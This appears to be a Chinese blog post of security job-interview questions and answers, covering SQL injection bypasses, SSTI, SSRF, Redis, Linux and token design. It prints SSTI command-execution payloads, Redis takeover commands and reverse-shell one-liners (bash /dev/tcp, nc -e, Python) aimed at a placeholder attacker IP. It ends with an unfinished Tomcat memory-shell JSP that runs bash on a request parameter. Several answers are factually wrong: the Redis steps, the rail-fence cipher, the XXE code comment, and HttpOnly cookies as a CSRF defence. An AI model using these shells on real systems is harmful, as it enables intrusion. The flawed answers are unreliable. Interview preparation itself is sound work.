【工作】面试题整理大厂常见问题

g0dam

2024-03-17

https://github.com/vvmdx/Sec-Interview-4-2023

OWASP TOP 10

A1 注入漏洞
A2 失效的身份认证
A3 敏感数据泄露
A4 XML 外部实体漏洞
A5 无效的访问控制
A6 安全配置错误
A8 不安全的反序列化漏洞
A9 使用含有已知漏洞的组件
A10 日志记录和监控不足导致的风险

MSSQL 除了 `xp_cmdshell`、`sp_oacreate` 还有什么办法执行命令？

在 MSSQL 中，除了使用 xp_cmdshell 和 sp_oacreate，还可以通过以下方法执行系统命令：

CLR 集成：
- 启用 CLR 集成，创建 CLR 存储过程来执行命令。
- 步骤包括启用 CLR、创建程序集、创建存储过程和执行命令。
SQL Server 代理作业：
- 使用 SQL Server 代理创建作业来执行命令。
- 步骤包括创建作业、添加作业步骤、启动作业。
OpenRowset：
- 利用 OpenRowset 和 Jet OLEDB 提供程序执行命令。
- 需要启用沙盒模式并执行命令。
扩展存储过程：
- 使用 sp_addextendedproc 添加自定义扩展存储过程来执行命令。

CLR 原理以及流程

CLR（Common Language Runtime）是 .NET Framework 的核心组件之一，负责管理代码的执行。在 MSSQL 中，CLR 集成允许使用 .NET Framework 语言编写存储过程、触发器等。
流程包括：

启用 CLR 集成。
创建 CLR 存储过程。
编译并部署 CLR 程序集。
在 MSSQL 中注册并使用 CLR 存储过程。

Oracle 能不能 RCE？怎么 RCE？前置条件是啥？

Oracle 数据库在某些情况下可以被用于远程代码执行（RCE），这通常依赖于数据库的配置和存在的漏洞。
攻击方法包括：

利用 DBMS_SCHEDULER：通过创建作业来执行系统命令。
利用外部表：通过配置外部表来执行命令。
利用 Java 存储过程：在数据库中运行 Java 代码来执行命令。
利用 TNS Listener 漏洞：通过 TNS Listener 的漏洞执行命令。
前置条件包括：

数据库存在可利用的漏洞。
攻击者具有足够的权限。

Autotype=false 绕过有几种思路？

当 autotype=false 时，可以尝试以下绕过思路：

手动指定类型：显式指定输入的类型。
使用备用序列化格式：尝试使用其他序列化格式。
利用反序列化漏洞工具：使用工具如 ysoserial 生成特定的 payload。
修改输入格式：调整输入数据的格式以匹配预期的类型。

PHPInfo 你会关注哪些信息

在查看 phpinfo() 输出时，应关注以下信息：

PHP 版本：了解 PHP 的版本和更新情况。
配置选项：查看编译时的配置选项。
扩展和模块：识别加载的扩展和模块。
环境变量：查看服务器的环境变量。
安全相关设置：检查与安全相关的配置。

浏览器解析顺序和解码顺序

浏览器的解析顺序和解码顺序是两个不同的概念，但它们在处理网页内容时是紧密相关的。解析顺序指的是浏览器处理HTML、CSS和JavaScript等资源的顺序，而解码顺序则涉及浏览器如何将编码的字符转换为可读的文本。

解析顺序：
- 浏览器通常按照HTML文档的顺序进行解析，从上到下依次处理标签、属性和内容。
- 在解析过程中，遇到<link>、<style>、<script>等标签时，浏览器会暂停HTML解析，去加载和处理这些资源。其中，外部样式表会阻塞后续的外部脚本的加载，但不会阻塞内部脚本的执行。
解码顺序：
- 浏览器的解码顺序通常是：HTML解码 → URL解码 → JavaScript解码。
- HTML解码：在构建DOM树时，浏览器会对HTML实体编码的内容进行解码，例如<会被解码为<。
- URL解码：服务器接收到浏览器请求后，会先进行URL解析，将编码的字符转换回原始字符，例如%20会被解码为空格。
- JavaScript解码：在执行JavaScript代码时，浏览器会对字符串中的转义字符进行解码，例如\u4e00会被解码为汉字一。

过滤`limit`后的逗号如何绕过

在SQL注入中，如果limit后的逗号被过滤，可以使用以下方法绕过：

使用JOIN代替逗号：通过构造JOIN查询来替代UNION SELECT中的逗号。例如，将UNION SELECT 1,2,3改为UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN (SELECT 3)C)。

过滤逗号的SQL注入如何绕过

当SQL注入中逗号被过滤时，可以采用以下方法：

使用JOIN方法：通过JOIN多个子查询来构造所需的查询语句，避免直接使用逗号。
利用函数和变量：使用数据库提供的函数和变量来间接获取所需的信息，例如使用user()、database()等函数。

Python相关的漏洞（SSTI原理，利用过程，payload相关的东西）

一个著名的Python相关漏洞是服务器端模板注入（SSTI）。SSTI发生在服务器端使用用户输入动态渲染模板时，攻击者可以注入恶意模板代码，导致服务器执行任意代码。
原理：

当服务器端使用如Django、Jinja2等模板引擎时，如果用户输入被直接嵌入模板中，攻击者可以注入模板语法，执行任意代码。

利用过程：

确认漏洞存在：通过发送包含模板语法的输入，观察服务器响应是否包含执行结果。
构造payload：根据模板引擎的语法，构造能够执行命令或读取文件的payload。
执行命令或读取文件：利用payload执行系统命令或读取服务器上的敏感文件。

payload示例：

Django模板引擎：
1
{{ ''.__class__.__mro__[1].__subclasses__() }}
这段payload会返回所有子类，进一步可以利用这些子类执行系统命令。
Jinja2模板引擎：
1
{{ self.__init__.__globals__['os'].popen('id').read() }}
这段payload会执行id命令并返回结果。

Java 内存马

https://blog.csdn.net/MachineGunJoe/article/details/118088350

冰蝎、哥斯拉工具

https://blog.csdn.net/qq_53577336/article/details/125048353

审表达式引擎的步骤和思路

审计表达式引擎时，我会：

分析输入处理：检查用户输入的表达式是否经过严格验证。
检查解析过程：查看引擎如何解析和处理表达式。
评估安全性：确保引擎不会执行恶意代码或泄露敏感信息。

例如，在审计一个Java表达式引擎时，我会检查其是否对输入表达式进行了沙箱限制，防止恶意代码执行。

XXE漏洞成因及代码层面分析

XXE（XML外部实体注入）漏洞是由于应用程序在处理XML输入时，启用了外部实体解析功能，且未对用户输入的XML内容进行严格过滤。攻击者可以构造恶意的XML内容，包含外部实体引用，从而读取服务器上的敏感文件或执行其他恶意操作。

在代码层面，如果应用程序使用了DocumentBuilderFactory来解析XML，并且未禁用外部实体解析，就可能存在XXE漏洞。例如：

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-declaration", false); // 禁用此功能可防止XXE
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(xmlInput));

遇到ORDER BY时的防御

在处理ORDER BY时，为防止SQL注入，应：
2. 限制可排序的列：只允许对白名单中的列进行排序。

宽字节注入

宽字节注入是利用字符编码中的多字节特性，通过构造特定的输入来绕过安全检查。例如，在GBK编码中，某些字符可以有多种编码方式，攻击者可以利用这一点来绕过过滤。

特殊字符转义时的处理

如果数据库的列名或表名包含特殊字符，应：

使用引号：在SQL语句中使用引号将标识符括起来。
转义字符：使用数据库支持的转义字符来处理特殊字符。

基于黑白名单的修复在Docker环境中的应用

在Docker环境中，由于IP地址的动态变化和容器重启后环境的不一致性，传统的基于IP的黑白名单策略可能不再适用。可以考虑以下方法来实现黑白名单的修复和安全控制：

基于镜像和容器名称的黑白名单：通过镜像名称和标签来识别和控制容器的运行，而不是依赖IP地址。可以在Docker守护进程配置中设置允许或禁止运行的镜像列表。
使用Docker网络控制：利用Docker的网络功能，如创建自定义网络，并通过网络策略来控制容器之间的通信。可以限制某些容器只能与特定的网络或端口进行通信。
结合容器编排工具：在使用Kubernetes等容器编排工具时，可以通过命名空间、网络策略等资源来实现更细粒度的访问控制和隔离。
实施最小权限原则：为容器分配最小必要的权限，避免使用特权模式运行容器，并限制容器对宿主机资源的访问。
日志审计与监控：通过监控Docker守护进程的日志和容器日志，及时发现和响应异常活动。

Java系统代码审计流程

在拿到Java系统的代码时，审计流程通常包括以下步骤：

环境搭建：配置与生产环境相似的开发和测试环境，确保代码能够正常运行。
代码结构分析：了解项目的整体架构，包括使用的框架、类库、模块划分等。识别出关键组件和数据流。
静态代码分析：使用静态代码分析工具（如SonarQube、FindBugs等）扫描代码，发现潜在的代码质量问题和安全漏洞。
敏感点审计：重点关注与安全相关的代码部分，如用户输入处理、身份验证、授权、数据加密等。检查是否存在SQL注入、XSS、CSRF等常见漏洞。
动态测试：通过单元测试、集成测试和渗透测试等方式，动态地发现运行时的漏洞和问题。
代码审查：进行人工代码审查，检查代码的逻辑、安全性和规范性。
漏洞验证与修复：对发现的漏洞进行验证，确定其真实性和影响范围，并根据风险等级制定修复计划。
回归测试：在修复漏洞后，进行回归测试，确保修复没有引入新的问题。

Java系统中SQL注入的防御与修复

防御措施

使用预编译语句（PreparedStatement）：通过预编译语句将用户输入与SQL命令分离，避免直接拼接SQL字符串。

String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

使用ORM框架：如Hibernate、MyBatis等，它们通常会提供安全的API来处理SQL查询，避免直接拼接SQL。
输入验证：对用户输入进行严格的验证，限制输入的格式和长度，确保输入符合预期。
最小权限原则：为数据库用户分配最小必要的权限，限制其只能执行必要的操作。
定期更新和打补丁：及时更新数据库管理系统和相关库，修复已知的安全漏洞。

修复方法

替换不安全的JDBC代码：将使用Statement直接拼接SQL字符串的代码替换为使用PreparedStatement。
检查和修改MyBatis/Hibernate映射文件：确保在MyBatis的XML映射文件中使用#{} 占位符，而不是${}。
添加输入验证逻辑：在处理用户输入的地方添加验证逻辑，过滤掉非法字符和SQL关键字。
使用安全的库和框架：选择经过安全审计的库和框架，并正确配置它们的安全相关选项。
进行安全测试：在修复后进行安全测试，确保漏洞已得到解决，并没有引入新的问题。

反序列化时的魔术方法入手点

在PHP中，当使用unserialize()反序列化一个字符串时，对象的以下魔术方法可能会被自动调用，可以作为寻找反序列化链的入手点：

**__wakeup()**：
- 当对象被反序列化时，如果定义了__wakeup()方法，该方法会被调用。可以在这个方法中执行一些初始化操作，但也可以被利用来执行恶意代码。
**__destruct()**：
- 当对象被销毁时，如果定义了__destruct()方法，该方法会被调用。在反序列化过程中，如果对象在反序列化后立即被销毁，可能会触发__destruct()方法中的代码。
**__toString()**：
- 当对象被当作字符串使用时，如果定义了__toString()方法，该方法会被调用。在某些情况下，反序列化后的对象可能会被隐式转换为字符串，从而触发__toString()方法。
**__call()**：
- 当调用对象中不存在的方法时，如果定义了__call()方法，该方法会被调用。在反序列化过程中，如果对象的方法调用被触发，可能会执行__call()方法中的代码。
**__get()和__set()**：
- 当访问或设置对象中不存在的属性时，如果定义了__get()和__set()方法，这些方法会被调用。在反序列化过程中，如果对象的属性被访问或设置，可能会触发这些方法。

在PHP环境下利用SSRF

服务器端请求伪造（SSRF）是一种安全漏洞，攻击者可以通过服务器端发起的请求来访问服务器内部网络或服务。在PHP环境下，利用SSRF获取shell或进入内网的方法如下：

识别目标服务器的内部网络结构：了解目标服务器所在的内部网络结构，包括内网IP地址范围、域名等信息。
构造恶意请求：利用PHP中的网络请求函数，如file_get_contents()、curl等，构造恶意请求，访问内网资源。
1
2
3
$url = 'http://内网IP:端口/路径';
$content = file_get_contents($url);
echo $content;
利用中间人攻击：在内网中设置一个恶意服务器，通过SSRF使目标服务器向该恶意服务器发送请求，从而获取目标服务器的相关信息。
利用服务器的漏洞或弱配置：如果目标服务器存在未授权访问、目录遍历等漏洞，可以通过SSRF利用这些漏洞获取更多权限或信息。
结合其他漏洞：将SSRF与其他漏洞（如命令注入、文件包含等）结合使用，扩大攻击面。

PHP代码常见入口函数的查找

在PHP代码审计中，找到常见的入口函数是关键，因为这些函数往往是处理用户输入和业务逻辑的起点。以下是一些常见的入口函数及其查找方法：

前端控制器模式：许多PHP框架采用前端控制器模式，所有请求都通过一个入口文件（如index.php）进行处理。在这些文件中，通常会找到路由分发、请求处理等入口函数。
路由配置：在基于框架的项目中，路由配置文件定义了URL到控制器方法的映射。通过分析路由配置，可以找到处理特定请求的入口函数。
函数调用图：使用静态分析工具生成函数调用图，找出被频繁调用的函数，这些函数可能是业务逻辑的入口。
用户输入处理：查找处理用户输入的函数，如$_GET、$_POST、$_REQUEST等超全局变量的使用位置，这些位置往往是入口点。
框架特定入口：对于特定的PHP框架（如ThinkPHP、Laravel等），了解其请求处理流程和入口文件结构，可以直接定位到相关的入口函数。

PHP开发框架的URL路由方法

不同的PHP开发框架有不同的URL路由机制，以下是一些常见框架的路由方法：

ThinkPHP：通过Route类进行路由定义，支持资源路由、分组路由等多种方式。例如：
1
Route::get('blog/:id', 'Blog/index');
Laravel：使用Route门面定义路由，支持GET、POST等HTTP动词，以及路由参数、中间件等。例如：
1
2
3
Route::get('/user/{id}', function ($id) {
return 'User '.$id;
});

Symfony：通过注解或YAML配置文件定义路由，与控制器方法关联。例如：

1
2
3

app_user:
    path: /user/{id}
    controller: App\Controller\UserController::index

远程文件包含和本地文件包含涉及的PHP设置

远程文件包含和本地文件包含是PHP中常见的文件包含漏洞类型，它们涉及的PHP设置如下：

allow_url_fopen：控制是否允许使用file_get_contents()、fopen()等函数访问远程文件。默认值为On，开启时允许远程文件包含。
allow_url_include：控制是否允许在include、require等语句中加载远程文件。默认值为Off，关闭时禁止远程文件包含。
open_basedir：限制PHP脚本可以访问的文件系统路径，用于限制本地文件包含的范围。

本地文件包含的PHP配置限制

可以通过修改PHP配置文件php.ini中的open_basedir设置来限制本地文件包含的路径。例如：

1	open_basedir = /safe_mode_dir

这样，PHP脚本只能访问/safe_mode_dir及其子目录中的文件，从而限制了本地文件包含的范围。

PHP在做SQL注入防御时的方法

在PHP中，防御SQL注入的方法包括：

使用预编译语句（PreparedStatement）：通过预编译语句将用户输入与SQL命令分离，避免直接拼接SQL字符串。
1
2
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $username]);
使用ORM框架：如Doctrine、Eloquent等，它们通常会提供安全的API来处理SQL查询，避免直接拼接SQL。
输入验证：对用户输入进行严格的验证，限制输入的格式和长度，确保输入符合预期。
使用安全的库和框架：选择经过安全审计的库和框架，并正确配置它们的安全相关选项。
定期更新和打补丁：及时更新数据库管理系统和相关库，修复已知的安全漏洞。
最小权限原则：为数据库用户分配最小必要的权限，限制其只能执行必要的操作。

Redis解决了什么问题？

Redis主要解决了以下问题：

高性能数据存储：Redis是一种基于内存的键值存储系统，提供了极高的读写性能，适用于需要快速数据访问的场景。
缓存：通过将热点数据存储在内存中，Redis可以显著提高应用的响应速度，减轻数据库的负载。
分布式锁：Redis可以用于实现分布式环境下的锁机制，确保在高并发场景下数据的一致性。
实时数据处理：支持多种数据结构（如字符串、列表、集合等），使得Redis在处理实时数据时非常灵活。
消息队列：利用列表和发布/订阅模式，Redis可以作为简单的消息队列使用。
持久化和高可用：通过RDB（快照）和AOF（日志）持久化机制，以及主从复制和哨兵机制，Redis可以保证数据的持久性和高可用性。

热点数据怎么保证Redis和DB中的一致？

保证Redis缓存与数据库中热点数据的一致性，可以采用以下策略：

双写机制：在更新数据库的同时，同步更新Redis缓存。这可以通过在业务逻辑中同时执行数据库和Redis的写操作来实现。
缓存更新策略：在数据库更新后，主动更新或删除Redis中的对应缓存，确保缓存数据的时效性。
数据库触发器：利用数据库的触发器，在数据变更时自动触发缓存更新逻辑，保持数据同步。
消息队列：通过消息队列异步处理缓存更新，减少对主业务流程的影响。
定期同步：设置定时任务，定期比对数据库和Redis中的数据，发现不一致时进行修正。

用户登录认证是怎么做的？

用户登录认证通常有以下几种方式：

Session-Based认证：
- 用户登录时，服务器生成一个Session ID，存储在服务器端。
- Session ID通过Cookie发送给客户端，客户端后续请求携带该Session ID以标识身份。
- 服务器通过Session ID查找对应的用户信息，验证用户身份。
Token-Based认证（如JWT）：
- 用户登录成功后，服务器生成一个Token（如JWT），包含用户身份信息和签名。
- Token返回给客户端，客户端在后续请求中将Token放在请求头中发送给服务器。
- 服务器验证Token的有效性，从而确认用户身份。
OAuth/OpenID Connect：
- 用户通过第三方服务（如Google、Facebook）进行认证。
- 第三方服务返回一个授权码或访问令牌，用于获取用户信息。
- 服务器通过验证令牌来确认用户身份。

Token的安全怎么保护？

保护Token的安全性可以从以下几个方面入手：

使用HTTPS：确保Token在网络传输过程中加密，防止被窃取。
Token的短生命周期：设置Token的有效期较短，过期后需要重新认证，减少被滥用的风险。
安全存储：客户端应将Token存储在安全的地方，如使用浏览器的localStorage并设置适当的权限。
防止XSS攻击：通过输入验证、输出编码等措施防止XSS攻击，避免Token被恶意脚本窃取。
Token绑定：将Token与特定的IP地址、设备指纹等信息绑定，增加安全性。
定期轮换：定期更换Token，减少长期使用同一Token带来的风险。

Token的内容该如何设计？

Token的设计应包含以下内容：

用户身份信息：如用户ID，避免存储敏感信息。
过期时间：明确Token的有效期，便于服务器验证。
签名：使用服务器的私钥对Token进行签名，确保Token的完整性和防篡改。
可选信息：根据业务需求，可包含用户角色、权限等信息。

怎么保证数据不被篡改呢？

保证数据不被篡改可以采取以下措施：

数字签名：对数据进行签名，接收方通过验证签名来确认数据的完整性。
哈希校验：发送方计算数据的哈希值并发送给接收方，接收方重新计算哈希值进行比对。
使用安全的传输协议：如HTTPS，确保数据在传输过程中不被篡改。
数据加密：对敏感数据进行加密，防止被篡改。
版本控制：为数据添加版本号，防止旧数据被恶意替换。

如何进行CSRF防御？

CSRF（跨站请求伪造）攻击是指攻击者利用用户的浏览器向目标网站发送恶意请求，从而在用户不知情的情况下执行未经授权的操作。为了防御CSRF攻击，可以采取以下措施：

验证HTTP Referer字段：
- 根据HTTP协议，Referer字段记录了HTTP请求的来源地址。通过验证Referer字段，可以判断请求是否来自合法的页面。例如，如果请求的Referer字段是以目标网站的域名开头，则认为请求是合法的，否则可能是CSRF攻击。
在请求中添加Token并验证：
- 在用户登录后，服务器生成一个随机的Token，并将其存储在用户的Session中。在每个请求中，客户端需要将这个Token作为参数（如URL参数或表单隐藏字段）发送给服务器。服务器在处理请求时，验证请求中的Token是否与Session中的Token一致。如果不一致，则拒绝处理请求。
在HTTP头中自定义属性并验证：
- 通过在HTTP头中添加自定义属性（如csrftoken），并在服务器端验证该属性的值，可以有效防御CSRF攻击。这种方法可以避免Token在URL中暴露，提高安全性。
使用HTTPOnly Cookie：
- HTTPOnly Cookie是一种特殊的Cookie，只能通过HTTP协议访问，不能通过JavaScript访问。这可以防止攻击者通过JavaScript获取Cookie，从而减少CSRF攻击的风险。
使用安全头信息：
- 通过设置安全头信息（如Content-Security-Policy），可以限制浏览器只加载来自可信源的资源，从而防止恶意脚本的执行。

校验什么？

在服务器端，需要校验以下内容：

Token的存在性：确保请求中包含Token。
Token的格式：确保Token的格式正确。
Token的签名：验证Token的签名是否有效，确保Token未被篡改。
Token的过期时间：检查Token是否已过期。

Token为什么需要加密？

Token需要加密的原因包括：

保护用户隐私：加密可以防止用户身份信息在传输和存储过程中被泄露。
防止篡改：加密和签名可以确保Token在传输过程中未被篡改。
提高安全性：加密可以增加攻击者伪造Token的难度，提高系统的安全性。

有没有自己动手写过一些工具

nmap探测系统的参数是什么 —>大写还是小写

nmap的参数区分大小写，大部分参数是小写，但有些选项是大写，例如 -O 用于操作系统检测，-A 用于启用操作系统检测、版本检测和脚本扫描等多种功能。

nmap的小写o与a是干嘛的

**-oN、-oX、-oS、-oG**：将扫描结果以不同格式（正常、XML、s|<rIpt kIddi3、Grepable）保存到指定文件。
**-oA**：将扫描结果同时保存为三种主要格式（正常、XML、Grepable）。
**-A**：启用操作系统检测、版本检测、脚本扫描和跟踪路由。

一串编码如何确认是base64

可以通过以下方法确认一串编码是否是Base64：

检查字符集：Base64编码的字符集由A-Z、a-z、0-9、+、/组成，且长度是4的倍数。
检查填充字符：Base64编码通常以==或=结尾。
解码验证：尝试使用Base64解码工具进行解码，如果解码后得到可读的内容，则很可能是Base64编码。

栅栏密码的原理是什么

栅栏密码是一种经典的密码加密技术，其原理是将明文按照一定的规则进行排列组合，形成密文。常见的栅栏密码包括凯撒密码、维吉尼亚密码等。

base64与md5如何区别

Base64是一种编码方法，用于将二进制数据转换为由64个可打印字符组成的文本，主要用于数据的传输和存储。MD5是一种哈希函数，用于将任意长度的数据转换为固定长度的128位哈希值，主要用于数据完整性和身份验证。

oracle的默认端口是多少

Oracle数据库的默认端口是1521。

mysql的管理员密码一般放到哪

MySQL的管理员密码通常存储在mysql数据库的user表中，可以通过以下SQL语句查询：

1	SELECT user, host, authentication_string FROM mysql.user;

如果substr()函数被禁用，你脑子里有多少替换函数

如果substr()函数被禁用，可以使用以下替换函数：

**mb_substr()**：用于多字节字符串的截取。
**strcut()**：自定义函数实现字符串截取。
正则表达式：使用正则表达式匹配和截取字符串。

redis如何拿下，哪个端口，具体语句，具体操作

Redis默认端口是6379。要拿下Redis，可以尝试以下操作：

连接到Redis服务器：
1
redis-cli -h <目标IP> -p 6379

尝试获取权限：

FLUSHALL
CONFIG SET dir /tmp
CONFIG SET dbfilename shell.php
SLAVEOF NO ONE
DEBUG EXEC

这些命令可以尝试在Redis服务器上执行恶意操作。

如何通过邮箱知道对方的IP

通过邮箱获取对方的IP地址，可以通过查看邮件头信息来实现。邮件头中通常包含发件人的IP地址等信息。具体步骤如下：

获取邮件头信息：在邮件客户端中查看邮件的完整头信息。
查找IP地址：在邮件头中查找Received字段，其中通常包含发件人的IP地址。

Struct2漏洞

https://www.freebuf.com/vuls/283821.html

Struct2漏洞主要指的是Apache Struts2框架中存在的一些安全漏洞，其中最著名的是远程代码执行漏洞。这些漏洞通常由于框架在处理用户输入时使用了OGNL（Object-Graph Navigation Language）表达式，而用户输入被不当拼接到了OGNL表达式中，导致攻击者可以通过构造恶意的URL或参数来执行任意代码。

父子进程的介绍

在操作系统中，进程可以通过fork()系统调用创建子进程。父进程和子进程之间存在一定的关系：

父进程创建子进程，子进程从父进程继承大部分属性，但拥有独立的进程ID。
父进程可以通过某些机制（如wait()或waitpid()）来等待子进程的结束。
子进程可以独立于父进程运行，拥有自己的内存空间和系统资源。

孤儿进程和僵尸进程

孤儿进程：当父进程在子进程结束之前退出时，子进程成为孤儿进程。孤儿进程会被init进程（PID为1）收养，init进程会负责清理孤儿进程的资源。
僵尸进程：当子进程结束但父进程尚未回收其资源（如未调用wait()或waitpid()）时，子进程会处于僵尸状态。僵尸进程仍然占用系统资源，可能导致系统性能下降。

反弹shell的几种方式

反弹shell是一种网络安全技术，攻击者通过在目标系统上执行命令，使目标系统主动连接到攻击者的服务器，从而获得目标系统的控制权。常见的反弹shell方式包括：

使用bash或sh：bash -i >& /dev/tcp/攻击者IP/端口 0>&1
使用nc（Netcat）：nc -e /bin/sh 攻击者IP 端口
使用python：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Linux开机自启动方式

Linux系统有多种开机自启动方式：

**/etc/rc.local**：在该脚本中添加需要开机自启动的命令或脚本。
/etc/init.d/脚本：创建启动脚本并将其链接到相应的运行级别目录。
systemd服务：通过创建.service文件并启用服务来实现开机自启动。

init.d脚本介绍

/etc/init.d/目录中的脚本用于管理服务的启动、停止和重启。这些脚本通常需要支持以下参数：

start：启动服务
stop：停止服务
restart：重启服务
status：查看服务状态

Linux怎么查看程序调用了哪些文件

可以使用以下命令查看程序调用了哪些文件：

**lsof**：列出当前系统中打开的所有文件，包括进程打开的文件。
1
lsof -p <进程ID>
**strace**：跟踪系统调用和信号，可以查看程序访问的文件。
1
strace -e trace=file -p <进程ID>

如何监控Linux文件操作

可以使用以下工具监控Linux文件操作：

**inotify**：一个文件变化事件监控工具，可以实时监控文件或目录的变化。
**auditd**：审计守护进程，可以记录系统调用和文件访问等信息。

Linux有哪些系统调用

Linux系统调用是用户程序与操作系统内核之间的接口，常见的系统调用包括：

**open()**：打开文件
**read()**：读取文件
**write()**：写入文件
**close()**：关闭文件
**fork()**：创建子进程
**exec()**：执行程序
**wait()**：等待子进程结束

查看Linux开放的网络端口

可以使用以下命令来查看Linux系统中开放的网络端口：

netstat命令：netstat -tuln，其中-t表示显示TCP端口，-u表示显示UDP端口，-l表示只显示监听状态的端口，-n表示以数字形式显示端口号。
ss命令：ss -tuln，ss是netstat的替代工具，可以更快速和高效地显示网络端口信息。
lsof命令：lsof -i，可以查看指定端口号的相关信息，包括进程ID、进程命令等。

查看Linux多线程状态

可以使用top或htop命令来查看Linux系统中的多线程状态。top命令提供了对系统资源使用情况的实时视图，通过按H键可以切换到线程视图模式，显示每个线程的详细信息。

Linux下隐藏文件

在Linux系统中，可以通过在文件名前添加一个.来隐藏文件。例如，使用mv test.txt .test.txt命令可以将test.txt文件隐藏。此外，还可以使用chattr命令来设置文件的隐藏属性。

子域名收集

子域名收集是网络安全和渗透测试中的一个重要环节，可以使用以下工具和方法：

Sublist3r：一个开源的子域名收集工具，支持多线程和多种DNS查询方法。
Amass：一个功能强大的资产收集工具，可以收集子域名、IP地址等信息。
DNS枚举：通过查询DNS服务器来获取子域名信息，可以使用dig等工具进行查询。

DNS重绑定

DNS重绑定是一种网络安全技术，攻击者通过动态更新DNS记录，使受害者在不知情的情况下访问攻击者控制的服务器。防御DNS重绑定的方法包括：

使用HTTPS和HSTS来确保连接的安全性。
对DNS记录进行严格验证，确保其来源可靠。
使用安全的DNS解析服务，避免使用公共DNS服务器。

DNS解析的流程

DNS解析的流程通常包括以下步骤：

本地DNS缓存查找：浏览器或应用程序首先检查本地DNS缓存中是否有目标域名的解析记录。
递归查询：如果本地缓存中没有解析记录，请求会被发送到本地DNS服务器，本地DNS服务器会进行递归查询，依次向根DNS服务器、顶级域名服务器和权威DNS服务器查询，直到获取到目标域名的解析结果。
缓存更新：获取到解析结果后，本地DNS服务器会将结果缓存，以便后续的查询可以直接使用。

CC流量

CC（Challenge Collapsar）流量通常指的是一种DDoS攻击方式，通过模拟大量正常用户请求来消耗目标服务器的资源。防御CC攻击的方法包括：

使用CDN服务来分散流量。
配置防火墙和WAF（Web应用防火墙）来过滤恶意流量。
限制单个IP的请求频率，设置访问速率限制。

SSH隧道

SSH隧道是一种通过SSH协议创建的安全网络通道，可以用于加密数据传输、端口转发等。创建SSH隧道的基本命令如下：

1	ssh -L 本地端口:目标主机:目标端口用户名@远程主机

例如，要将本地的8080端口转发到远程主机的80端口，可以使用以下命令：

1	ssh -L 8080:localhost:80 用户名@远程主机

runc容器逃逸原理

runc容器逃逸通常利用容器运行时的漏洞来突破容器的隔离，获取宿主机的控制权。例如，CVE-2019-5736漏洞允许攻击者在容器内部重写宿主机上的runc二进制文件，从而在宿主机上以root身份执行命令。攻击者可以通过特定的容器镜像或exec操作获取宿主机runc执行文件的文件句柄并修改runc的二进制文件，进而实现逃逸。

常见WAF种类

常见WAF（Web应用防火墙）可以分为以下几类：

云WAF：基于云端的检测，安装简单，通过修改DNS解析或在服务器上安装模块即可使用。例如安全宝、创宇盾、玄武盾、腾讯云、百度云、阿里云盾等。
硬件WAF：使用专门的硬件设备实现，防护范围大，适合企业级应用。例如绿盟、安恒、铱迅、天融信、深信服、启明星辰、F5 BIG-IP等。
软件WAF：安装在服务器上，根据网站流量占用相应内存量。例如D盾、云锁、网防、安全狗、护卫神、智创、悬镜、UPUPW、WTS-WAF、安骑士、dotDefender等。
网站内置WAF：在系统后台内置安全功能，供管理者使用。

MySQL的UAF

MySQL的UAF（Use-After-Free）漏洞是指在内存管理过程中，对象被释放后仍被引用，导致未定义行为，可能被攻击者利用来执行任意代码或导致服务崩溃。这种漏洞通常涉及复杂的内存操作和并发问题。UAF漏洞的防御需要严格遵循安全的内存管理实践，及时应用补丁，并限制用户输入对内存操作的影响。

Java 内存马原理

Java 内存马是一种无文件攻击手段，通过在内存中修改或动态注册新的组件（如Filter、Servlet等），达到注入Webshell的目的。这种攻击方式隐蔽性强，因为内存马仅存在于进程的内存空间中，系统层面的安全检测工具难以检测到。

Java 内存马代码示例
以下是一个简单的Java内存马代码示例，通过动态注册Filter来实现命令执行：

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "cyc1ops";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
